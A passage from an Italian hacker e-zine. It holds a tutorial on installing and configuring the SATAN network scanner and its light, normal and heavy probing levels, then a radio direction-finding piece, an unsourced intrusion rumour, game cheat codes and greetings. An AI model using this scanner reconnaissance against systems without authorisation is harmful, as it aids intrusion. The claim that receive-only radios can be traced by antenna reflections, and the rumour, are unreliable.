browser web, 32mega di ram, e 5 mega liberi di spazio su hd (li avrete
spero ;)).
Sfortunatamente SATAN non e' compatibile con tutte le macchine UNIX come invece
avremmo voluto che fosse .
1. Sistemi Operativi. Questa versione di SATAN lavora con i seguenti Sistemi
Operativi (OS):
- SunOS 4.1.3_UI
- SunOS 5.3
- Irix 5.3
2. Piattaforme Hardware. Satan e' stato provato con le seguenti macchine:
- SPARCstation 4/75
- SPARCstation 5
- Indigo 2
Comunque questo programma sarebbe eseguito anche su altre macchine: provando a
digitare "make" nella directory principale del TOOL, si ottiene una lista di
quelle che si auspicano compatibili (attualmente sono: AIX, BSD, IRIX5, HP-UX
9.x, SunOS 4 & 5, SYSV-R4, Ultrix 4.x,).
E' importante rilevare (Inf. giuntami ma non ho provato) che l'utente puo'
avere a disposizione il "tcpd wrappers" o altri meccanismi che eseguono il
comando "reverse finger", tali caratteristiche devono essere tolte prima di
utilizzare il SATAN! C'e' una ragionevole possibilita' che qualche host
esterno presente in rete abbia la stessa caratteristica attiva: se tale host
viene interessato irettamente o secondariamente da delle esplorazioni si
potrebbe entrare in una "finger war" o in infiniti loop di "finger" che vanno
avanti e indietro tra te e i tuoi obiettivi.
Naturalmente accertati di ripristinare le condizioni iniziali una volta che
si e' finito di collezionare i dati con il SATAN.
File del SATAN:
SATAN crea e usa pochi file, mentre un utente puo' "dialogare" solo con il file
di configurazione. Vediamo quali sono i file che il SATAN utilizza (leggendoli
o creandoli) durante la sua esecuzione:
1. bin/* - Questi sono programmi da cui SATAN dipende per l'acquisizione dei
dati.
2. config/* - File di configurazione di cui ha bisogno il SATAN per trovare
gli altri programmi utili all'esplorazione e per impostare le
variabili con dei valori "base" ("default").
3. html/* - File che comprendono pagine HTML e programmi Perl che generano le
pagine per l'interfaccia utente.
4. perl/* - Codice utilizzato dal SATAN o dai "tool" di acquisizione dati.
5. result/database-name. - "Satan database". Ogni "database" e' composto di tre
parti:
5.1. all-hosts. - Questa e' una lista di tutti gli hosts che il SATAN ha trovato
durante la sua esplorazione, inclusi anche quelli che non ha
mai "toccato".
5.2. facts. - Questa e' una lista di tutte le uscite emesse dai vari comandi
" *.satan tools". Queste registrazioni sono cio' che viene
processato dal SATAN per generare le relazioni documentative.
5,3. todo. - Questa lista elenca tutti gli hosts e le incursioni che ha
veramente eseguito contro tali hosts. Con questa tabella SATAN
conosce quali incursioni puo' saltare e passare ad una successiva
esplorazione.
6. rules/*. - Le regole che il SATAN usa per valutare la situazione e ricavare
i risultati dalle informazioni esistenti. L'estrema flessibilita'
(data dall'interpretazione del codice "perl") e' una delle
caratteristiche piu' potenti del SATAN. •7. src/*. - Codice
sorgente di alcuni programmi di supporto al SATAN.
Metodologia di lavoro utilizzata dal Satan
Il Satan richiede l'acquisizione dell'obiettivo ("target") in modo da
determinare immediatamente con il comando "fping" se l'host o gli host della
sottorete da valutare sono vivi ("alive": cioe' e' possibile tentare delle
operazioni su tali macchine).
Una volta superato il primo passo viene compilata una lista degli obiettivi
attivi e viene passata ad un processo che eseguira' tutti i comandi relativi
alla collezione dei dati e il principale loop di iterazione sugli host di
fiducia. Ogni host e' esaminato per vedere se e' gia' stato individuato
precedentemente se cio' non si verifica viene lanciata una serie di controlli
ed esplorazioni anche contro di esso. Queste prove emettono un "record" di
dati in cui e' stato registrato il nome dell'host, i tests eseguiti e ogni
risultato ottenuto da tale indagine: successivamente questi dati sono salvati
in un file di analisi. Tramite l'interfaccia HTML, utilizzata per prendere
visione di questa vastita' di dati coerenti ai risultati ottenuti, l'utente
puo' leggerli cercando di interpretarli e capirli.
Installazione del Satan
Questo applicativo si trova in rete ed ha una distribuzione shareware, quindi,
una volta individuato un sito che abbia l'ultima versione del SATAN, si
procede a scaricarlo.
Una volta scaricato lo decompattiamo senza lasciarne una copia compressa:
\uncompress satan-1.1.1.tar.Z
\tar -xvf satan-1.1.1.tar
\cd satan-1.1.1
-Si esegua lo script reconfig il quale, tra le altre cose, cerca Perl e i
browser web nelle locazioni standard.
-Si editi config /path.pl per accettarsi che la variabile di Perl $MOSAIC
contenga il nome del comando per il browser preferito dall'utente.
-Si esegua make senza argomenti per vedere il menu dei tipi di sistema, quindi
lo si esegua nuovamente fornendo il nome del proprio tipo di sistema:
\make
Usage: make system-type. Know types are:
aix osf bsd bsdi dgux irix4 irix5 freebsd hpux9 linux sunos4 sunos5
Asysv4
\make linux
Dopo aver configurato il tutto lanciamo il programma portandosi all'interno
della home directory per eseguirlo, altrimenti si riceveranno uno o piu'
messaggi di errore da Perl:
# ./satan
SATAN is starting up.....
Adesso conviene leggere il file "README", in cui oltre ad essere descritti i
passi gia' compiuti per scompattare, viene spiegato come installare il
pacchetto applicativo SATAN. Il punto 4 di questo file suggerisce di lanciare
il file "reconfig...." in modo che il programma si memorizzi vari parametri,
relativi all'ubicazione degli applicativi di suo interesse, utili al lancio
degli eseguibili richiesti per ogni fase della sua azione, sia di esplorazione
che di attacco di un sito remoto: ad esempio Netscape ,Perl, ...
In questa fase e' stato (INF pervenutami) riscontrato un problema non dipendente
da questo applicativo ma dovuto ad una non perfetta installazione di Netscape:
l'eseguibile di Netscape non si trovava nella sottodiractory "standard", dove
l'utente dovrebbe mettere i programmi che aggiunge in un secondo tempo
rispetto a quelli gia' offerti dal sistema operativo. Questo inconveniente
viene segnalato nell'esecuzione del "reconfig", per rimediare abbiamo dovuto
modificare manualmente il file "paths.pl" che si trova nella directory
satan/satan-1.1.1/config/ e precisamente abbiamo sostituito la riga
$MOSAIC="/usr/exp/bin/netscape";
con la riga
$MOSAIC="/usr/local/netscape/netscape";
cosi` il SATAN puo` avviare il Netscape quando viene eseguito. Una volta
decompresso il pacchetto applicativo e' necessario compilarlo per produrre
il file eseguibile adatto alla propria macchina; noi abbiamo lavorato con una
workstation SUN SPARK OS5.Il compito della compilazione e` presente il file
"Makefile" che rende questa operazione automatica: in questo file sono
contenute la righe di comando che si devono eseguire con tutti i parametri
necessari per produrre il codice eseguibile.
Digitando "make linux" si lancia il Makefile che compila il SATAN. Nonostante
l'uso dei Makefile renda possibile la compilazionedei programmi anche a chi
non e' esperto in programmazione puo` capitare che il comando "make" produca
un messaggio di errore come e` avvenuto nel mio caso. In queste circostanze
si deve modificare a mano il file "Makefile" per toglire l'impedimento che ha
causato l'errore e questo richiede una conoscenza dei linguaggi di
programmazione. Nel nostro caso specifico il Makefile aveva bisogno di un
compilatore per linguaggio c chiamato "cc" che non riusciva a trovare in
quanto non era presente sul nostro computer. Il compilatore che la nostra
macchina usa si chiama "gcc" ed e` una versione piu` recente ma compatibile
del "cc".Abbiamo cosi' aggiunto cc="gcc" nella riga dove c'e` l'istruzione che
richiama il compilatore c.
File di configurazione del Satan
Il file "config/satan.cf" e' molto importante. Qualunque azione del Satan e'
controllata attraverso questo file: esplorazione di host e reti, livello di
incursione, come la lontana investigazione si propaghera' dall'host originale,
quali tests saranno eseguiti, etc. Questo file non e' altro che un codice
scritto in linguaggio PERL il quale viene mandato in esecuzione nella fase di
inizializzazione del programma;
-Configurazione Livello di Attacco.
#Default attack level (0=light, 1=normal, 2=heavy)
$attack_level = 0;
questo seleziona il livello di attacco, il quale comunica al Satan il tipo di
incursione (si vedra' successivamente) da applicare contro il "target host".
Livelli di Atacco del SATAN:
Consideriamo un attacco a livello di target. Durante l'attacco bisogna
valutare l'impatto potenziale sul sistema locale su cui si trova SATAN, i
sistemi target e tutte le reti intermedie, in modo da avere una soluzione
globale di quello che succede con tutti i 3 livelli di attacco.
1)In un attacco light, SATAN richiede al dns di cercare di determinare
l'hardware del target e la configurazione del sistema operativo, il sistema
per lo scambio della mail e cosi via.
Quindi contatta il portmapper RPC del target, se ce ne e' uno attivo, per
scoprire quali server applicativi basati su RPC stanno girando sulla
macchina.
2)In un attacco normale include le ricerche svolte con l'attacco light, oltre
ad una interrogazione finger per determinare i nomi di account degli utenti
e i nomi degli host di sistemi remoti che hanno accesso al target. Inoltre
vengono esaminate un certo numero di porte di servizio standard (FTP, Telnet,
SMPT, NNPT, UUCP, e alcune altre) per scoprire quali server di rete sono
disponibili.
3)Un attacco completo include le procedure dell'attacco normale, oltre ad un
esame ancora piu' accurato delle porte TCP e UDP che possono essere
collegate a server di qualunque tipo. Vengono esaminate in particolare le
porte TCP 1-9999 e UDP 1-2050 e 32767-33500. Con questo esame SATAN e' in
grado di scoprire molte cose interessanti, quali un daemon telnet su una
porta non standard che puo' costituire una potenziale porta di servizio al
sistema.
Tutti e tre i metodi di attacco includono un esame delle condizioni
(conditional probe). Questo viene eseguito solo se dalle prove eseguite
emergono degli atti che lo fanno ritenere opportuno. Se per esempio viene
scoperto un server NFS durante un attacco light, viene eseguito il comando
showmount sul target per ottenere il suo elenco di export. Naturalmente non
ha senso eseguire questo controllo se non e' presente il server NFS.
!!!!..FINE..!!!!
VI RICORDO CHE MOLTE DELLE INFORMAZIONI CHE AVETE APPENA LETTO
SONO STATE TROVATE IN GIRO PER LA RETE SUI LIBRI, NELLE FAQ MA ANCHE BASATE
SU ESPERIENZE PERSONALI, QUESTE INF. RACCOLTE SONO POI STATE RIELABORATE PER
RENDERLE PIU' COMPRENSIBILI E ALLO STESSO TEMPO PIU' INTERESSANTI.
L'AUTORE (Anti-Social :9 ) DECILNA OGNI RESPONSABILITA' SU TUTTO..!!!!
TUTTO IL MATERIALE CONTENUTO IN QUESTO ARTICOLO E' ESCLUSIVAMENTE A FINI
INFORMATIVI L'AUTORE DECLINA OGNI RESPONSABILITA' PER DANNI PROCURATI A COSE
O PERSONE. LE INFORMAZIONI CONTENUTE IN QUESTO TESTO SONO ESCLUSIVAMENTE
GRATUITE.
FakeOff by
Anti-Social
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
**********************
* Radio che passione *
**********************
[email protected]
Allora saro' sintetico perche' e' la seconda volta che scrivo questo art dato
che mi si era fottuto il pc ...
Scrivo a tutti i radioamatori e non .
Il radiogoniometro spero sappiate cosa e' ...NO ???? ...allora :
Il radiogoniometro serve per FOTTERE tutti quelli che fottono le poste
italiane non pagando la tassa sulle ricetrasmittenti .
Questo apparecchio si basa sulle portanti (tutti sannop cosa sono io non ve
lo spiego) .
Infatti e' composto da 1a base contenente l'apparecchiatura e 1 antenna yagi
(come quella della TV per intenderci) che capta da dove la portante e' +
intensa e quindi da dove trasmettete .
Ora tutti sanno che trasmettendo le onde radio, queste possono essere
intercettate mentre ricevendole si e' al sicuro ...NO !
Purtroppo non e' + vera questa affermazione !
Infatti le antenne in piccola parte fungono da bridge riflettendo pochissimo,
pochissimo , ma pur sempre 1 po' il segnale .
Ecco le poste americane hanno introdotto una nuova apparecchiatura in grado
di utilizzare questa proprieta' delle antenne radio !
Quest'apparecchiatura si chiama R179 (non chiedetemi cosa significa perche'
non lo so ...) ed e' 1a specie di radiogoniometro solo infinitamente +
sensibile in grado di ricevere i "bounce" delle antenne radio .
Cmq questo controllo non durera' molto per leggi sulla privacy ecc si stanno
sperimentando apposite antenne PIU' COSTOSE (ovviamente) che assorbono e non
riflettono.
NB: assorbono e non decodificano ASSORBONO !!!
della serie ...New Technology ...
by ULNTWH9
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
***************************
* Milano citta' di Fuoco *
***************************
Grossi movimenti all'universita' di Milano !!!!
Le news sono sconcertanti e provengono da 1a fonte sicura ...
Cosa e' successo ?
Non e' molto chiaro ma si sa solo che si e' cercato di non fare scalpore
infatti sui giornali non e' usito nulla !
All'universita' di Ingegneria di Milano tutto scorreva tranquillo in classe
quando ad un certo punto arrivo' una persona distinta ...CAZZ era un console
americano !
Cosa era successo ?
Qualcuno era riuscito ad accedere a dati riservati in tanta malora e aveva
lasciato la sua bava in giro ...
Bhe se vi viene in mente di provare qualche cosa io vi sconsiglio di provarlo
li' ...e' sotto strettissimo controllo della polizia internazionale che non
sta aspettando altro che 1 capro espiatorio !!!
Se poi siete bravi e la sfida (non da casa vostra spero) vi affascina fate
pure ...io mi sono sentito in dovere di avvertire tutti !!!
by ULNTWH99
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛÛÛÛÛ°°°°°°ÛÛ°°°°°ÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°ÛÛ°°°°°°°°ÛÛ°°°°ÛÛ°°ÛÛ°°°°°°°°°ÛÛÛÛ°°°°°°°°ÛÛ°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°ÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛ°°°°°°ÛÛ°°ÛÛ°°°°°°°ÛÛ°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°ÛÛ°°°°°°°°ÛÛ°°°°ÛÛ°°ÛÛ°°°°°°°ÛÛÛÛÛÛÛÛ°°°°°°ÛÛ°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°°°°ÛÛ°°°°°ÛÛ°°°°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
NOTA DI N0bodY88 = in questo numero apriamo questa nuova rubrica gestita dal
grande p4P3r1_N0 (che tra le tante cose gestisce un sito
web e una m.l. dedicata ai giochi :-DDDD) quindi fateci
sapere se vi piace (cosi' si va avanti) o se non vi piace
(tanto andiamo avanti lo stesso :PPPPP). Byez e buone
partite ma....non barate troppo =) hihihi
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ TRUCCHI NEI GIOCHI CHE COMINCIANO X A E B ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Salve a tutti ragazzi........ma ci pensate? Io, un newbie con fattore di
conoscenza in fatto di hacking/phreacking/virus writing/cracking uguale a -3
(come del resto penso sia comune a tutti i newbies di questo piccolo e scemo
mondo) sto scrivendo x voi tutto questo (non lo buttate, vi prego ;) ). Per
questa grassa opportunit... devo ringraziare il mitico Nobody (RuleZ), e lo
faccio con questo msg. "Se fossi femmina ti avrei baciato, ma visto che sei
maschio ti voglio dire grazie a nome mio e a nome (penso) di tutti i newbies
di questo mondo, per darci l'opportunit... di farci conoscere un p•
nell'ambiente".
D'altronde sbaglio o Internet Š un posto in cui tutti ci possiamo far
riconoscere da tutti con poco?
Finita la parte a mio avviso pi- facile da scrivere per chi fa l'articolo e
pi- pallosa per chi lo legge, passo a descrivervi -non vi preoccupate, solo
in 2 parole, svelte svelte ;P - quello che far• per questa e-zine. Sebbene
conosca pochi hacker e/o newbies che si divertano con i giochini, vorrei
essere utile sopratutto a loro, inserendo di nø in nø dei cheats.
*
****
**
* *
*
*
**
****
*
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
___
___
___
_____
|
|
| |
|
|
|
|
|___| |___
|___|
|
|
|
| |
|
|
|
|___
|
| |___
|
|
|
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
*
****
**
* *
*
*
*
**
****
Che ne dite ? Come primo mio disegnino non sono poi andato cos• male, eh?
Ora esco, vado a fare un paio di partite a biliardo, poi continuer• questo
articolo...byeZ 4 now.
Ore 19:32
Riekkomi a voi, popolo di Newbies! |ø_ø|
Qui sotto aggiungero' un po' di trucchi di qualche gioco, dato che il Nob mi
ha espressamente chiesto di non essere troppo prolisso. (d'altronde, come si
dice, meglio poche cose ma buone ;) )
___
**|
|**
**|___|**
**|
|**
|ALIEN CARNAGE|
Digitate questi cheats durante la fase di gioco:
BADASS
Avrete tutte le armi complete di munizioni
FLRUP
Avrete tutte le armi, compresa la pistola automatica
ETHER
Slow mode (al rallentatore)
GTNX
Digitatelo e potrete scegliere da quale livello inizierete a giocare!
HOLLYWOOD
God Mode
SGTROCK
Di tutto di piu' (god mode, tutte le armi e il pieno di munizioni!)
|ACTUA SOCCER|
Per far diventare la vostra squadra invincibile dovete far partire il gioco
Con il comando
SOCCER-01141475549.
|AFTER THE WAR|
Eccovi i cheat:
101069 (accedete al 2ø livello)
[ALT] + L + B (invincibili per il 1ø livello)
[ALT] + L + M (invincibili per il 2ølivello)
|Questo e' il gioco per chi si sente un padreterno (pessimo battuta).
Comunque, eccovi dei codicilli da inserire durante le sessioni di gioco:
$@! (incassate 10 milioni di pennies, ma solo per 5 volte, o la Death Star vi
distruggera' il paradiso)
SAMNMAX (digitatelo 3 volte (in maiuscolo) per il "secret BAD THING")
|AGE OF THE EMPIRES|
Durante questo giochillo premete ENTER per attivare il cheat mode, poi
digitate:
NO FOG (rimuove la Fog of War)
HARI KARI (suicidio)
DIEDIEDIE (uccidi tutti i nemici)
RESIGN (arrenditi)
REVEAL MAP (rivela tutta la mappa)
PEPPERONI PIZZA (1000 cibo)
COINAGE (1000 oro)
WOODSTOCK (1000 legno)
QUARRY (1000 pietre)
PHOTON MAN (avrai un "Nuke Trooper", ovvero un soldato armato di fucile al
laser...fico!)
GAIA (controlla gli animali)
STEROIDS (produzione istantanea)
HOME RUN (vinci il livello corrente)
BIGDADDY (avrete una bella macchinina lancia razzi!!)
|AMOK|
Per scegliere il livello da cui iniziare a giocare basta digitare
ZZZCYX
al posto della password nella schermata delle opzioni. Punto e basta
|ANGBAND|
Per aprire il menu' dei cheats basta digitare
[CTRL] + W
e poi
[SHIFT] + H
mentre state giocando.
|APACHE LONGBOW|
Se inserite nel nome del pilota il codice MONTY BARRYMORE
Diventerete invincibili e avrete infinite munizioni nel "campaign mode"
|APACHE|
Al posto del vostro nome digitate questi:
FLAMDWYN AIOBHELL
per le "ammo" infinite (le munizioni)
LYN WINS
per il god mode e le munizioni infinite
|ASHES TO ASHES|
Questi sono dei codicilli da digitare mentre giocate:
ALLLEVELS
Apparira' un menu' con tutti i livelli
NOLEVELS
Chiude il menu' di cui sopra
FPS
Secondo voi? E' per misurare il frame rate
NEXT
Di korsa al prossimo livello!
NOAMMO
Codice da suicida: spariscono di botto tutte le munizioni :((
GODMODE
Questo non me la sento di spiegarvi
|ASTROROCK 2000|
Codicilli freschi freschi per voi da digitare mentre giocate:
KICKASS
Avrete tutte le armi
FPS
Mostra il frame rate
TOOHOTFORME
Passate al prossimo livello
|AXELERATOR|
Mentre giocate, tenendo premuto il tasto
[CTRL]
digitate questi cheats:
MUCHMONEY
riceverete 130.000 dollari (funzionasse nella vita reale :)
ALLWEAPONS
ricevete ogni arma
HELPME
E' come andare dal carrozziere gratuitamente :)
AGGRESSOR
Proiettili infiniti
BOOSTER
Super Turbo!!!
___
**| /** (so che come B fa un po' schifo, ma ho incominciato oggi a lavorare
**| /_**
co sti' cazzo de disegnini....;=)))
**| /**
**|_/ **
|BAP|
Eccovi i codici dei livelli:
ZEEHC
NIHAO
!WIU!
HEHEH
VWXYZ
22670
PCIBM
(che ne dite, questo codice non vi ricorda qualcosa??? :)
RUNIT
SEEYO
!BYE!
E con l'ultimo codice vi saluto anche io!
|BATTLE ARENA TOSHINDEN|
nserite questi codici dal menu' principale:
GIMMEJIM
Codice Boss
VIRTUAL1
visuale in prima persona
FUNNYHEADS
teste mooolto strane!
LIFEISUNFAIR
colpi segreti, ma non so se funzia
|BATTLE BEAST|
Per questo gioco vi fornisco subito i cheat:
Digitate YOYOYO per entrare nel cheat mode, poi:
AOFREOIO (apre tutte le porte bonus)
OAOAEIOA (autofly nel laboratorio)
EHRTRR (autofly nel bonus "enable")
Prima di rigiocare, accertatevi di aver resettato tutti i codici.
|BATTLE CHESS CAPTURE THE QUEEN|
Cavolo, di questo gioco e' piu' lungo il titolo che il cheat, comunque gia'
che ho scritto il titolo vi scrivo anche il cheat (in qualche modo la dovevo
riempire questa pagina, no?)
Mentre giocate digitate
DISTRACTIONPIECE
e la regina dell'avversario morira'...SIGH! :)))
|BATTLE ISLE 2|
Codicilli di livello:
AMPORGE livello 1
JOGRWAI livello 2
GEGIDOS livello 3
WABODAE livello 4
BUFASWE livello 5
GEHAUWA livello 6
OLARIBU livello 7
FITORGE livello 8
DAFATWA livello 9
WABIKDO livello 10
|BATTLE ISLE 3|
Eccovi dei codici di livello:
2975462 livello 1
6487674 livello 2
1564386 livello 3
9745642 livello 4
3756838 livello 5
2957843 livello 6
8844366 livello 7
2375411 livello 8
3854653 livello 9
5647332 livello 10
|BATTLE ISLE 93|
Eccovi i (molti) codici per il passaggio dei livelli con il "single player":
LUMIT
LUNAR
LUTOF
SONIX
SOSOO
SONAF
RAMPE
RANGG
PARTS
FIEST
FINXT
EBENE
EBSYL
EBONY
EBTAR
KARST
KANTO
KAROT
KAIST
SYBIL
SFINX
SYNOM
Anf, Anf! :)
|BATTLE ISLE|
Inserite questi
FIRST
GHOST
GAMMA
MARSS
EAGLE
METAN
FOTON
POLAR
TIGER
SNAKE
DONNN
VESTA
OXXID
DEMON
GIANT
EUROP
1564386 livello
9745642 livello
3756838 livello
2957843 livello
8844366 livello
2375411 livello
3854653 livello
5647332 livello
cheats in un qualsiasi punto del gioco:
3
4
5
6
7
8
9
10
|BATTLEZONE|
Per questa riedizione del vecchio e glorioso Battlezone eccovi dei codicilli:
tenete premuti
[SHIFT] + [CTRL]
e digitate questi cheats:
BZBODY
Avrete scudi illimitati
BZFREE
Piloti infiniti
BZRADAR
Avrete scoperta l'intera mappa
BZTNT
Munizioni illimitate
|BETRAYA IN ANTARA|
Eccovi alcuni cheats:
[SHIFT] + [CTRL] + Z per attivare il "cheat mode", poi:
GOTTA HAVE MAGIC (impari tutti gli incantesimi)
WHY AM I SO DULL (tutte le opzioni del carattere sono al massimo)
SOM CALL ME TIM (distrugge tutti i nemici nel battle screen)
ASK A GLASS OF WATER (teleport party all'inizio del capitolo)
MAN DOES MY LEG HURT (heal the party)
SUPERMARKET FOR THE RICH (accesso ai buoni item)
|BIG RED RACING|
Se vuoi usare qualsiasi veicolo su qualsiasi pista di questo divertente
gioco fallo partire scrivendo (nella directory del gioco!):
RACING -CAR CAR1 -CAR CAR2
Dove CAR1 e CAR2 sono il nome della macchina scelta. Tutte le macchine le
trovate nella directory del gioco e hanno l'estensione
.VHC
|BLOOD BATH AT RED FALLS|
Digitate questi cheats durante la fase di gioco:
BADASS
Avrete tutte le armi complete di munizioni
FLRUP
Avrete tutte le armi, compresa la pistola automatica
ETHER
Slow mode (al rallentatore)
GTNX
Digitatelo e potrete scegliere da quale livello iniziarete a giocare!
HOLLYWOOD
God Mode
SGTROCK
Di tutto di piu' (god mode, tutte le armi e il pieno di munizioni!)
|BLOOD|
Questi codici vanno inseriti nel gioco dopo aver premuto il tasto T.
MPKFA (invincibilita')
LARA CROFT (armi e munizioni infinite [alzi la mano chi non ha pensato a Tomb
Raider])
KEYMASTER (tutte le chiavi)
MONTANA (Tutti gli oggetti)
EVA GALLI (no clipping mode)
|BONKHEADS|
Digitate questi codici (molto ma molto velocemente, senno' nisba) durante le
vostre sessioni di gioco.
1AMTNT
Riceverete altra dinaminte (TNT)
1AMFREETROLL
Extra Life
1AMFAST
Il vostro personaggio sara' piu' veloce
1AMSKIP
Passate di corsa al livello successivo
Al momento di scegliere invece se giocare in single mode o con un amico
premete
[SHIFT] + [CTRL]
per poter giocare qualsiasi livello
|BRIX 2|
Eccovi i codici dei livelli
KLMN (1-1-1)
CJNN (1-1-2)
KJNN (1-1-3)
CLNN (1-1-4)
IMMNG (2-1-1)
IEKOG (2-1-2)
IMKOG (2-1-3)
IEMOG (2-1-4)
KJNNOP (3-1-1)
KJFLPP (3-1-2)
KJNLPP (3-1-3)
KJFNPP (3-1-4)
KDMOOPQ (4-1-1)
KDMGMQQ (4-1-2)
CBFENQQ (4-2-2)
CBFMNQQ (4-2-3)
CBFEPQQ (4-2-4)
CJLONQQR (5-3-1)
CJLOFORR (5-3-2)
CJLONORR (5-3-3)
CJLOFQRR (5-3-4)
CJDGFPVRS (5-4-1)
|BRIX|
Eccovi i codici per entrare in ogni livello (i numeri corrispondono al
livello a cui si accede digitando le lettere):
ALKL (1-1-1)
ILKL (1-1-2)
AJLL (1-1-3)
KJKLE (2-1-1)
KBMLE (2-1-2)
KJMLE (2-1-3)
KBKME (2-1-4)
ILKLMN (3-1-1)
ILCNMN (3-1-2)
ILKMNM (3-1-3)
KDENMF (3-2-2)
KDMNMF (3-2-3)
IBKEONO (4-1-1)
IBKMONO (4-1-3)
OBKEMOO (4-1-4)
IJKLNNOP (5-1-1)
IKJLFPOP (5-1-2)
IBMDHPOP (5-2-2)
IBMDPPOP (5-2-3)
IBMDHNPP (5-2-4)
IBEFGQOPQ (6-2-1)
IBEFGIQPQ (6-2-2)
|BUBBLE BOBBLE|
Digitare SDABSDAB e poi premere:
F3 (saltare al livello successivo)
F4 (Extended pieno per il player one)
F5 (vite infinite)
F6 (alla fine del livello in corso saremo al 99)
Se volete finirla di barare ri-digitate
SDABSDAB
Bene, ora ho inserito solo i cheats con la A e la B (per ragioni di spazio)
ma vi prometto che (sempre che la cosa vi aggrada) di pubblicare le altre
lettere nelle proxime edizioni di NEWBIES.
Fatemi sapere qualsiasi cosa che riguardi il mondo dei cheats, se avete
qualche prob. con i codici che ho pubblicato, se mi volete aiutare, se ne
volete aggiungere altri, o anke per raccontarmi qualke kazzata....
MAILATEMI QUI --->[email protected]<---MAILATEMI QUI
Bene, detto cio' non mi resta altro che dirvi........
___ ___
___
_
_
/ |
|
\
/ |
|
/
/ \
/ \ |\
|
/_ |___ |___
\ / |___|
/_ / 0 \ / 0 \ | \ |
/ |
|
/
|
|
/ \ 0 / \ 0 / | \ |
/ |___ |___
/
|
|
/
\_/
\_/ |
\|
\_/
|0 0|
| 4 |
| š |
\ /
|
|
Powered By --@ p4P3r1_N0 @-|
|
;)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
SALUTI
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ora che siamo arrivati alla fine di questa e-zine volevo solo salutare tutti
quelli che conosco e tutti i vari gruppi quali gli Spippolatori, quelli di BFI,
quelli di Spaghetti Phreakers, quelli di Ring0, quelli di Vana Imago, quelli
di NetRunners, i DIB, i DDT, i TRH, gli ATOMIRC, tutti quelli che aiutano
NewBies ad andare avanti con i loro articoli [ quindi un meritato GRAZIE a
tutto il NewBies Staff :D ], tutti quelli che ci leggono e tutti quelli che
ridono sui miei articoli :P eheheh
Ps: dedico questa e-zine a K4m4l30nt3, colui con il quale ho iniziato
quest'avventura
